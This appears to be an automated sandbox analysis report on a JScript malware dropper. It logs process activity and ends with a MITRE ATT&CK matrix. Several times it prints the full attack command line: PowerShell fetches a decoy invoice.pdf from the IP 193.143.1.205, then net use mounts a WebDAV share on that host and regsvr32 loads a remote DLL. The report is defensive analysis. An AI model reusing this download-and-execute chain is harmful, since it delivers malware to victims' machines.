Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\28.js.csv");ITextStream.WriteLine(" entry:7503 f:wkuakwk");ITextStream.WriteLine(" exec:2 f:wkuakwk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49757

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened / queried: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvmcitov.cpe.psm1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5244			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4596			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 5244 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 4596 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8048	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5256	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1383802022.000002CAAF148000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1383802022.000002CAAF1A7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2603988400.000001FBE5A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2602949078.000001FBE042F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2603950593.000001FBE5A41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1383802022.000002CAAF1A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@-

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
